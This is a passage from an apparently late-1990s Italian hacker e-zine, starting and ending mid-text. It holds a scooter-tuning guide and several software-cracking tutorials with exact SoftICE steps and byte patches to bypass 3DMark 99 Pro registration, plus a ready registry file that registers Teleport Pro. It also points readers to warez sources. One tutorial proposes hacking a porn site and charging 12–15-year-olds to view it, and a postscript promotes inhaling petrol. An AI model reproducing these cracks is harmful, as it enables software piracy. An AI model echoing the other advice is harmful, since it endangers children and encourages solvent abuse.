professionista non ho avuto molte difficolta'!
ATTENZIONE:
Le modifiche sotto riportate sono valide per motorini originali o meglio che
non hanno mai subito modifiche...(un modello base insomma)
O MEGLIO "COME COSTRUIRE UN AEREO"
MOTORE:
Smontate testa,cilindro e pistone dal motorino;appoggiateli su un panno e
puliteli,lavateli con un qualsiasi prodotto e asciugateli bene;poi prendete
una lima molto fine ed iniziate ad appiattire la testa del pistone in modo da
farla diventare piatta.Prendete il cilindro e sempre con la lima allargate i
travasi e le luci di scarico(sono buchi semirettangolari nelle pareti del
cilindro).Adesso date una guardatina all' albero motore e controllate che
abbia la gabbia a rulli(se no provvedete a sostituirla).Rimontate tutto e se
volete fare una cosa fatta bene sostituite la candela con una di grado termico
superiore di 1-2 punti.
CARBURATORE:
Allora:stesso procedimento del motore per la pulizia,ma e' necessario farlo
molto + accuratamente e soffiando dell'aria compressa(se ce l'avete e' meglio)
in tutti i buchi e che trovate.Guardate il numero del getto del carburatore
(una grossa vite color oro)che dovrebbe essere un 74-76 e sostituitelo con uno
di 10 punti + grosso.
PACCO LAMELLARE:
E' quell'oggetto di forma quadrata con attaccate delle lamelle che si trova
tra i collettore e il cilindro.Quindi svitate le lamelle del pacco e
sostituitele con quelle da corsa che sono + leggere e meglio ancora se le
prendete in carbonio.
COLLETTORE DI SCARICO:
E'il tubo che collega il motore al carburatore e puo' essere o di plastica
dura o di ferro: dovete solo sostituirlo con uno + grosso (ma sembre con
l'imboccatura del 12).
FILTRO:
Sostituitelo con uno da gara.....ce ne sono di tutti i tipi....vi consiglierei
di sceglierlo a seconda frequenza con cui lo usate in una determinata stagione.
Adesso vi spiego meglio:da ottobre a maggio prendete un filtro abbastanza
chiuso (anche quello in metallo va bene) mentre per il periodo che va da
giugno a settembre potrete prendere un filtro aperto (vedi quelli in spugna).
VARIATORE:
Sostituitelo con uno da corsa quindi + leggero.
MASSETTE:
Sostituitele con altre da 3 g
CINGHIA:
Sostituitela con una da corsa + resistente e + leggera
FRIZIONE:
Sostituitela con una "regolabile" e lasciatela con le impostazioni di default
MOLLA DI CONTRASTO:
Fa parte della componentistica della frizione.Dovete sostituirla con una
Malossi (colore ROSSO) o se non la trovate, prendete la + dura.
MOLLETTINE:
Fanno parte della componentistica della frizione.Prendete le + dure che
riuscite a trovare
CARTER:
E' il coperchio che avete smontato per accedere al variatore e alla frizione.
Dunque qui le cose si complicano....dovete fare 4 buchi in alto a sinistra
(tre del diametro di 2.6 cm e il quarto di 2 cm) e tre buchi sulla destra
(due del diametro di 1.8 cm e uno di 1 cm). Poi copriteli semplicemente con un
po di colla e un po di spugna (ma attenzione;mettete la colla attorno al buco
e non sopra...senno' non servira' a niente..).
COSTO INDICATIVO DEI PEZZI DI RICAMBIO NECESSARI A QUESTO LAVORO:
-Cinghia e' 10.000
-Molla e' 10.000
-Mollettine e' 10.000
-Frizione e' 120.000
-Getto e' 1.000
-Lamelle e' 10.000
-Massette e' 10.000
-Variatore e' 50.000
-Filtro e' 20.000
-Collettore e' 30.000
Costo totale e' 270.000
P.S.:
Giusto che sono in tema di meccanica ne approfitto per dirvi una cosa che mi
fa sempre inca**are.
Quasi tutti pensano che la benzina senza piombo (verde) sia nociva per una
macchina o un motorino dove nel manuale sia prescritto di usare esclusivamente
benzina super(rossa).Insomma tutti credono che "sputtani" il motore.
Invece io vi dico dei motivi per cui comprare la benza verde:
-Costa 185 e' meno della rossa
-Non intasa la marmitta e lubrifica meglio le cose
-Inquina meno
-Quando siete senza droghe....vi fa svarionare + della rossa se ve la inalate
(by Kutt)
E solo un motivo per non usarla
-Diminuisce le prestazioni del 4% (wow)!
P.P.S.:
Ci sara' presto un update a questo articolo per quanto riguarda il discorso
centralina
bY PiNbALL
[email protected]
or #discomania
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
²°°°ÛÛ°°°°ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°²
²°°°ÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°²
²°°°ÛÛ°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°²
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
COME CRACKARE UN PROGRAMMA
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve di nuovo a tutti, sono sempre Quequero, con questo articolo cerchero' di
insegnarvi a crackare un programma, in particolare attaccheremo e sproteggeremo
3D Mark 99 Pro.
Questo prog. altro non e' che un sofisticato benchmark per le applicazioni 3D,
ossia, misura le prestazioni della vostra scheda video (o meglio della vostra
amatissima Vudu2 ;).
Se installiamo il prog. reperibile sul sito http://www.3dmark.com vediamo che
senza registrazione non possiamo cambiare le opzioni e possiamo eseguire solo
il test di default, tutto cio' non ci piace vero? Bhe' penso di si altrimenti
non stareste a leggere questo articolo ;).
Dal momento che SpYmAsTeR ha fatto un'ottima introduzione al cracking sul
secondo numero di Newbies non staro' a dilungarmi sulle API di winzoz e sulle
altre cosette ma andro' direttamente al sodo.
----Aspettate che vado a cambiare l'acqua al pesce rosso di mio fratello ;)--Let's go crack!!!
Allora installiamo tutto ed andiamo di filato nel box Register|Register
3DMark, ci vengono chiesti un nome ed un numero, a questo punto potremmo:
1) Sniffare il nostro numerino magico, solo che non e' professionaleeeeeeeee
2) Possiamo crackare il programmillo, ma non lo faremo!!!
3) Possiamo fare un keygenerator (troppo difficile per ora)
4) Possiamo fare quello che sto per scrivere, non vi viene nulla in mente eh?
Useremo un tecnica descritta da +ORC come ECHO crack, cioe' non faremo altro
che far comparire il numero seriale corretto al posto del solito messaggio
"Number incorrect" "Wrong password" ecc...
+ORC docet e ci dice: all'interno della maggior parte delle routine di
protezione c'e' un momento in cui appare nello stack l'echo del numero seriale
esatto, la locazione di questo echo varia anche se molto spesso si trova a +o90 byte da una delle locazioni nelle quali e' contenuto cio' che abbiamo
inserito (cioe' nome e numero), per trovare il numero basta solo dumpare la
memoria a quel l'indirizzo ed il gioco e' fatto, l'unico problema e' che
l'echo resta in memoria per pochissimo tempo, quindi dovremo far appello al
noto motto: carpe diem (come mi sento latino oggi ;)
Vediamo adesso se +ORC scrive kazzate ;))))), apriamo il menu di registrazione
del 3D Mark, inseriamo un nome (io usero' Quequero) e un numero (io uso sempre
666111666), con ctrl+d (^d) entriamo in softice (ce l'avete vero? Se no andate
al mio sito http://quequero.cjb.net e nella sezione dei Link troverete un sito
di warez molto veloce dal quale prelevare softice 3.24, nella sezione tools
potrete invece trovare W32DASM e l'hex-workshop un editor esadecimale insieme
a Hiew 6.02) mettiamo un breakpoint sulla funzione GetWindowTextA in questo
modo:
bpx getwindowtexta
la "A" indica al debugger che stiamo prendendo in esame la funzione a 32-bit e
non quella a 16.
Usciamo da Sice con F5 e premiamo invio, come ci aspettavamo Sice ci poppa
dritti in faccia, cosa si fa a questo punto? Si preme una volta F11 e 5 volte
F12, adesso dovreste trovarvi davanti questa sezione di codice:
**La "beggar off" e' il messaggio di password errata che ci danno i programmi**
quando inseriamo un numero a kazzo ;))))
:00405C87 E856E30800
:00405C8C 8B4F64
:00405C8F
:00405C92
:00405C94
:00405C9A
:00405C9D
:00405CA0
:00405CA2
:00405CA8
;
:00405CAB
:00405CAD
:00405CAF
8B41F8
85C0
0F8493000000
8B4760
8B40F8
85C0
0F8485000000
83F811
741D
6A00
6A00
Call 00493FE2
mov ecx, dword ptr [edi+64] <----- Noi siamo qui
; Edi+64 e Ecx contengono
; il nostro nome
mov eax, dword ptr [ecx-08]
test eax, eax
<---Controlla che i box siano pieni
je 00405D2D
<----se e' non lo sono "Beggar off"
mov eax, dword ptr [edi+60] <---edi+60 = 666111666
mov eax, dword ptr [eax-08]
test eax, eax
je 00405D2D
cmp eax, 00000011<---- ci sono 17 caratteri nel box
del serial number ?
je 00405CCA<---se si salta altrimenti "Beggar off"
push 00000000
push 00000000
* Possible Reference to String Resource ID=61598: "Incorrect registration
information. Please enter the correct..."
|
:00405CB1 689EF00000
push 0000F09E
:00405CB6 B950D44B00
mov ecx, 004BD450 <----Genera il messagebox della
;beggar off
:00405CBB E8E04E0400
call 0044ABA0
:00405CC0 50 push eax
Se non conoscete Sice vi dico che per far camminare la barra bianca si usa F10,
facciamola arrivare su " mov ecx, dword ptr [edi+64]" e scriviamo:
d edi+64
;dump edi+64
vi appariranno una morra di numeri, voi dovrete prendere i primi 8 e dumparli
al contrario, cioe' se vi viene qualcosa del genere:
015F:xxxxxxxx EC 5B 91 00 11 87 F5 94 82 EC AB 90 00
015F:xxxxxxxx 84 58 F5 94 82 EC AB 91 40 11 81 87 11
ecc ecc ecc.....................
voi scriverete:
d 00915BEC
;d'accordo?
E vedrete apparire il vostro nome.
Andiamo ancora avanti con F10 e vediamo una strana istruzione:
:00405CA8 83F811
cmp eax, 00000011
In Assembly "cmp" significa "confronta" ed in particolare in questo caso vuol
dire: confronta 11 esadecimale con il registro eax (procuratevi la guida
italiana di Xoanon, sul mio sito oppure dove altro vi pare a voi).
Ora mi spieghero' meglio, il programma fa una verifica per vedere se nel campo
del numero seriale ci sono 17 caratteri (15 alfanumerici e due "-"), se non
ci sono l'istruzione successiva ci manda alla Beggar off, ora vi starete
chiedendo: Perche' se li' c'e' scritto 11 lui dice che il prog controlla se ci
sono 17 caratteri? Perche' 11 esadecimale equivale a 17 e per vederlo basta
scrivere in SoftIce.
? 11
hehe,ma andiamo avanti, se premiamo di nuovo F10 ci troveremo su questa linea:
:00405CAB 741D
je 00405CCA
je vuol dire Jump if Equal, cioe' se l'istruzione precedente ha trovato 15
caratteri alfanumerici e 2 "-" nel campo del numero seriale allora procede al
controllo altrimenti ci manda alla beggar off.
Ricapitoliamo il tutto, prima il prg controlla la presenza di 17 caratteri, se
sono 17 procede, ma fermiamoci un momento,quando state con la barra di sice su
:00405CAB 741D
je 00405CCA
vedrete a destra la scritta "no jump" cio' vuol dire che la funzione non
saltera', per ovviare al guaio cancelliamo tutti i breakpoint con:
bc*
mettiamone uno sull'istruzione "cmp" in questo modo:
bpx 015F:00405CA8 ;oppure clickiamo due volte sulla riga in questione, o
ancora premiamo F9 dopo aver clickato una volta sempre sul "cmp"
usciamo da sice con F5 ed inseriamo al posto di 666111666 12345-12345-12345,
ripremiamo invio e sice ci ripoppa in faccia.
Stavolta se andiamo sul je vediamo che c'e' scritto "jump", bene, premiamo F10
e vediamo che "saltiamo" ;)))) e ci dovremmo trovare davanti a questo:
:00405CCA E8D1FBFFFF
call 004058A0
:00405CCF 8B7760
mov esi, dword ptr [edi+60]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405CF4(C)
|
:00405CD2 8A10
mov dl, byte ptr [eax] <--BINGO!!! Eax contiene il #
:00405CD4 8A1E
mov bl, byte ptr [esi]
:00405CD6 8ACA
mov cl, dl
:00405CD8 3AD3
cmp dl, bl
:00405CDA 751E
jne 00405CFA
:00405CDC 84C9
test cl, cl
:00405CDE 7416
je 00405CF6
:00405CE0 8A5001
mov dl, byte ptr [eax+01]
:00405CE3 8A5E01
mov bl, byte ptr [esi+01]
:00405CE6 8ACA
mov cl, dl
:00405CE8 3AD3
cmp dl, bl
Facciamo una volta step ed esaminiamo eax, (d eax) BINGO!!! Contiene il numero
che Cercavamo youhuuuuuuuuuu.
Allora cosa possiamo fare? La "Call 004058A0" all'indirizzo 00405CCA genera il
nostro ECHO, mentre "mov ecx, 004BD450" all'indirizzo 00405CB6 genera il
messagebox con su scritto "Testa di kazzo hai sbagliato numero". Basta ora
cambiare la chiamata "call 0044ABA0" in "call 004058A0" e sostituire "mov
ecx, 004BD450" con "mov eax, 004BB4A0".
Non avete capito una mazza vero? Si che e' vero, ora vi esplico tutto ;)
Allora, cio' che abbiamo fatto e' stato cambiare la chiamata dopo l'idirizzo
00405CB6 in modo da renderla uguale a quella che genera il numero (questa
chiamata mette il seriale in eax),poi abbiamo cambiato l'istruzione "mov
ecx, 004BD450" in modo da mettere in eax il valore calcolato dalla chiamata
call 004BB4A0, l'istruzione mov,eax 004BB4A0 quindi crea un messagebox con
dentro scritto il numero seriale vero.
Ma come si fa a cambiare i byte? Bella domanda, la soluzione e' semplice, basta
scrivere: "a xxxxxxxx" dove xxxxxxxx rappresenta l'indirizzo della riga da
cambiare, quindi per modificare la chiamata dovremo scrivere:
a call 0044ABA0
call 004058A0
invio
invio
Cosi' via per le altre istruzioni. Dal momento che tutto cio' che facciamo in
SoftIce e' solo momentaneo, dobbiamo fare in modo di patchare definitivamente
il programma, ma come? Aprite sice e scrivete "code on" vedrete apparire tanti
numerini, quelli sono i numeri decimali che rappresentano il codice assembly,
voi provate a cambiare di nuovo byte come descritto sopra, segnatevi su un
foglio come erano prima del cambiamento e come erano dopo, l'hex-workshop
(che a mio parere e' il migliore editor esadecimale), cercate i byte prima del
cambiamento e cambiateli come sono cambiati in softice, per agevolarvi ecco i
byte gia' cambiati da me, forse capirete meglio:
Sostituire:
000050B0
con:
000050B0
B950D44B00E8E04E0400
B8A0B44B00E8E0FBFFFF
Questi sono opzionali:
0004C410
83F8040F84930000008B0EE8
000050A0
85C00F848500000083F811741D6A00
con:
0004C410
83F8049090909090908B0EE8
000050A0
85C090909090909083F81190906A00
Se cambiate i byte come vi ho indicato io per far funzionare il crack dovrete
per forza inserire una lettera e/o un numero nei campi "nome" e "serial",
noppando (90 in esadecimale significa NOP cioe' no operation) anche quelli
opzionali dovrete solo premere invio.
Ciauzzzzzzzz da Quequero
P.S.
Ringrazio Kill3xx che ultimamente e' stato molto disponibile con me e YanOrel
che mi ha gentilmente linkato sul suo sito oltre ad aver inserito alcuni miei
crack nell'omonima sezione
Ariciauzzzzzzzzzzzzzzzzzz
P.S.S
Per bestemmie, insulti, scambi di indirizzi porno o altro scrivetemi a
[email protected] e se vi va' andate su http://quequero.cjb.net
(da quello che ho saputo e' il piu' grande sito di cracking italiano...
quindi ;)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
PRINCIPI DI BASE X CRACKARE UN GIOCHINO
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ciao ragazzi riekkoci ad un arikolaccio di AnArChY, vediamo alkuni principi di
base (molto di base) x crakkare un giukino.
Allora voi volete (disperatamente) l'ultimo titolo uscito, ci sono
essenzialmente 3 modi per averlo:
1) Lekkare esageratemente il culo ai genitori oppure fare un giro da TUTTI
i parenti
2) Andare dal pirata di fiducia e farselo copiare x poke lire
3) PROVARE a crakkarlo
Bene i primi 2 non mi sembrano il max, quindi passiamo alla terza
Allora prima kosa installatevi sull'HD la maggior parte di gioco possibile (in
Syndacate Wars e molti altri titoli FUNZIONA) se siete sfigati (normalmente
succede sempre kosi') ci sono 2 possibilita':
1) il gioco prende da CD musica e animazioni
2) il gioco usa il lettore come protezione
Il primo passo da fare a questo punto controllare se sulla root del CD
c'e' qualche file strano, molto corto, come disk.id, cdrom.inf, che il
programma cerca quando viene lanciato...copiando questo file nella
directory del gioco a volte si puo' illudere il programma che sta girando
sul CD-ROM (hihhi avevo fottuto Dark Force cosi')...se questo sistema non
funziona allora bisogna ricorrere alla creazione di una unita' illusoria...
Per fare questo potete usare il comando SUBST; usando
SUBST D: C:/TEMP in questo modo l'unita' D sara' identificata colla dir TEMP
purtroppo......i programmatori non sono (tanto) stupidi e spesso il gioco vi
sgama :((
Se non funzia nemmeno kosi' provate col FAKECD (lo trovate sul sito di
newbies), ke poi non e' altro ke l'evoluzione del SUBST
Se non funziona nemmeno kosi.......avete 2 possibilita'
1) Leggetevi l'art di ki e' veramente capace di crakkare
2) ....sob....mi spiace dirvelo....ma...sbattetevi a cercare un crack sulla
rete oppure chiedete su IRC
BBBBYYYYEEEEZZZZZ a tutti e non insultatemi troppo per tutte ste banalita'
AnArChY
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
CRACKARE TELEPORT PRO 1.29
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ciao raga, sono l'onnipresente Quequero, in questo articolo vi insegnero' a
crackare il mitico Teleport Pro 1.29, per chi non lo sapesse il Teleport e'
un programmillo che grabba i siti, in pratica legge il sito dalla rete e ve
lo copia pari pari sul disco duro con tutti i file e tutto quello che e'
linkato, pensate che carino scaricarsi il sito di Quequero e guardarselo
offline ;))))
Meglio ancora si puo' usare per grabbare un sito porno hehehehehe, hackatene
uno oppure cercate una pass sulla rete, inserite l'user id e la pass nel
Teleport, selezionate il tipo di file che volete grabbare (*.jpg, *.jpeg
ecc..) e avviatelo, dopo cira 45-50 minuti avrete un bel sitozzo sul vostro
amato picci', per cosa lo potreste usare? Per farvi le seghe direte voi, io
rispondero' che per quello ci sono le fidanzate (che tralaltro fanno moooolto
ma moooolto di piu' ;) e che lo potrete usare per lucrare danaro, mi spiego
meglio, fate venire qualche bambinetto a casa vostra (dai 12 ai 15 anni
funziona sempre), fatevi dare 10-12 mila lire e fatelo stare davanti al
computer per 20-25 minuti, poi lo manderete via, cosi' lui sara' felice e
arra**to mentre voi avrete le vostre belle 10k che + altre 10k fanno 20k e
con quelle ci comprerete cio' che vorrete, canne, sigarette, vino,
preservativi, insomma non ci servo io per dirvi cosa farci ;)))
Mmmmmm credo di essere andato fuori tema, aspettate che leggo di cosa doveva
parlare l'articolo............Ahhhhh ora rimembro, dovevo insegnarvi a
crackare il teleport, allora let'go crack.
Aprite il beneamato programma, andate in help|register ed inserite un nome,
una compagnia (non serve ma dovete inserire o un carattere oppure uno spazio)
ed un numero (questo deve essere un numero come 666111666 non mettete "ciao"
altrimenti non funziona).
^D per entrare in softice, mettiamo un bp su getwindowtexta (bpx
getwindowtexta) e premiamo F5, facciamo click su ok e sice poppa sul monitor,
visto che adesso sta' controllando il nome ripremiamo F5, ora controlla il
numero (ve lo avevo detto che company non serviva a un cavolo ;) e premete F11.
Arrivati in questo punto dovreste avere qualcosa del genere:
:00449D80
:00449D86
:00449D89
:00449D8B
:00449D90
FF15C0334600
8B4D10
6AFF
E83A93FFFF
EB0B
Call [User32!GetWindowTextA]
mov ecx, [ebp+10]
push FF
call 004430CA
jmp 00449D9D
se non e' cosi' riprovate hihihi ;)))
A questo punto cancelliamo tutti i bp e mettiamone uno sulla chiamata al
l'indirizzo 00449D8B (bpx xxxx:00449D8B), usciamo da sice e ripremiamo "ok",
se poppa significa che e' andato tutto bene. Adesso premiamo 3 volte F12 e
dovremo avere davanti questo codice:
:004246CD
:004246CF
:004246D1
:004246D2
:004246D8
:004246DD
:004246DF
:004246E4
:004246E7
:004246ED
:004246F3
:004246F5
:004246FA
:004246FC
33DB
6A0A
53
FFB6DD000000
E883620000
8BE8
A15C4C4800
83C40C
38989F020000
0F8437010000
3BEB
BFD49A4700
7459
FFB6D5000000
xor ebx, ebx < --- Arriviamo qui
push 0000000A
push ebx
push dword ptr [esi+000000DD]
call 0042A960
mov ebp, eax
mov eax, dword ptr [00484C5C]
add esp, 0000000C
cmp byte ptr [eax+0000029F], bl
je 0042482A
cmp ebp, ebx < --- In eax il vero seriale
mov edi, 00479AD4
je 00424755 < --- salta se e' errato
push dword ptr [esi+000000D5]
Premete 15 volte F10 (in pratica fino a quando la barra bianca va' a finire
sopra a "cmp ebp, eax".
Ci siete? Credo di si, se qualche cosa cambia anche leggermente e' normale.
Vedete l'istruzione all'indirizzo 004246F3 (quella che vi ho fatto
raggiungere)?
Questa verifica se il codice inserito da noi e' esatto, se ricordate, "cmp"
significa "compare" cioe' "confronta", quindi significa che per controllare
il nostro serial lo deve verificare con un altro e "l'altro" si trova in eax,
per vederlo basta scrivere:
? eax
adesso appariranno tre gruppi di numeri, il primo e' il valore di eax in
esadecimale, il secondo e' quello decimale ed il terzo e' quello ASCII, voi
dovrete prendere il secondo e provare, funziona? A me si, non sto qui a
raccontarvi come si cracka il prg perche' e' un po' difficilino pero' date uno
sguardo a questo codice:
REGEDIT4
[HKEY_CURRENT_USER\Software\Tennyson Maxwell\Teleport Pro\User]
"Company"="My House"
"Name"="Quequero"
"Registration"=dword:4efaf094
cosa ci dovete fare?
Prendete un comune file di testo, ci incollate quel codice e rinominate il
file come "crack.reg" o come vi pare purche' sia .reg, avviatelo ed ecco che
il Teleport si registra a vostro nome (ovviamente dovrete sostituire sia il
nome che il numero).
Quequero
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
CRACKING, QUESTO SCONOSCIUTO
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Chi di voi non ha mai scaricato un crack? Tu, tu e tu, FUORI! E chi di voi non
si e' mai chiesto come venissero fatti questi utilissimi programmini? Ok, voi
che avete alzato la mano, fuori anche voi! Chi di voi non sa cos'e'
l'assembler, una decompilazione, un offset o un hex-editor? Ok, fuori e non
rientrate finche' non vi sarete documentati. Fatta questa breve premessa,
bisogna iniziarne un'altra :P
Chi vuole diventare un cracker deve sapere le basi. Tutti possono dire "io so
cosa e' un crack", ma il cracking vero non e' fatto a scopo di lucro, bensi'
solo per sfida o per poter testare un programma a fondo senza essere annoiati
da schermate scassapalle con scritto "Registrami!". Se un programma vi piace,
COMPRATEVELO! Per esempio, io Windows98 non l'ho comprato ;) ma Commandos si'!
Inoltre se volete crackare qualcosa, scaricatevi dei programmi vecchiotti e
crackate quelli, per un motivo che vi spieghero' subito. Gli schemi di
protezione + o - sono sempre gli stessi: scrivi una password, ammacca OK
appena spunta il nag screen, ecc. Mai nessuno progetta delle vere e proprie
protezioni sicure dai cracker. Percio' sapendo come crackare le protezioni
piu' vecchie, potrete crackare quelle piu' nuove, avendo la necessaria base
di conoscenza, visto che le variazioni rispetto alle protezioni piu' vecchie
sono minime. Inoltre cercate di crackare dei giochi. Infatti per i giochi
mettono SEMPRE protezioni piu' difficili delle altre. Queste protezioni una
volta "passate di moda" vengono utilizzate per i comuni programmi shareware.
Per fare un esempio ipotetico potreste trovare la protezione di Commandos
(che si basa sull'inserimento nel CD originale di file fasulli delle modeste
dimensioni di 1 Gb l'uno) nel Photshop 6.0 (che ancora non esiste). Sapendo
quindi come si cracka, sarete i primi a rilasciare un crack! Bello no ;) ?
Comunque, passiamo in rassegna i principali tipi di protezione e il loro modo
di sprotezione:
1) Protezioni con password, serial, o altri codici numerici, alfanumerici o
letterali
Metodo di sprotezione: Basta disassemblare il tutto e invertire i jump, vi
spieghero' cosa vuol dire nel tutorial sul cracking
2) Protezioni con Nag-Screen
Bisogna trovare la routine che chiama il Nag e disabilitarla col comando NOP
3) Protezioni con contatori di tempo o di giorni
Bisogna trovare il metodo in base al quale fanno salire il contatore. Puo'
essere il compare tra una variabile che indica il tempo massimo e il tempo
attuale, o altre schifezze...
4) Protezioni su CD o Diskette Cheking, ossia controllo del CD o del dischetto
nel drive
Basta NOPpare le chiamate ai controlli sui drive o eliminarle del tutto dal
codice.
5) Protezioni basate su Dongle (chiave hardware)
Ehm...ca**o queste sono difficilotte da crackare, perche' bisogna o emulare
le funzioni del dongle via software, o peggio ancora, sono incrackabili se
non clonando il dongle...la nostra fortuna e' che produrre chiavi hardware
costa molto alle software house, che per ridurre i costi e fare maggiori
guadagni si limitano alle pass...tutto a nostro favore ihihihih...
6) Protezioni che disabilitano alcune funzioni del software
Un tipo di protezione che, siceramente, non ho mai incontrato. Dai pochi
documenti che ho letto su questo argomento ne ho dedotto che sono a volte
facili, a volte difficili, ma sinceramente non capisco come si possano
attivare delle funzioni...muaH...
Io, dal basso della mia esperienza (che vi credete, sono un newbie anche io!!
:), posso essere credibile solo per il primo tipo di protezioni, visto che
sono le piu' facili, e visto anche che tutti gli altri tipi richiedono il
Soft-Ice (che comunque oggi 5/3/1999 mi son fatto passare, grazie N0bodY88
:). Allora, prima di tutto ogni cracker ha i suoi attrezzi. Come ogni bravo
artigiano ha seghe, martelli, pialle noi abbiamo disassemblatori, debuggers,
hex-editors. I primi servono a disassemblare un programma, ossia decompilare
un programma in modo da portarlo in assembler. Avere il listato di un
programma in assembler e' utilissimo, visto che grazie al WDasm 8.93
(ovviamente crackato ;), cioe' il nostro disassemblatore di fiducia, possiamo,
grazie ad alcune ricerche facili e veloci, scoprire il serial, oppure fare in
modo di editare il programma cosi' che qualunque pass noi mettiamo il
programma la accetta. Immaginatevi che bello:
"Winxxxx Registered to: <inserisci il tuo nome o nick> Serial: i'm an evil
cracker and hax0r" che figurone con gli amici no? Il debugger e' una cosa
ESSENZIALE nei crack piu' difficili. Infatti grazie al debugger (il migliore
e' senza dubbio il Soft-Ice) possiamo impostare dei Breakpoint detti in gergo
BPX, ossia delle "interruzioni su procedura", ossia interruzioni che si
verificano al momento di inserire il codice o altro. Per esempio se noi al
prompt nostro Soft-Ice scriviamo "BPX GetWindowTextA" appena verra' chiamata
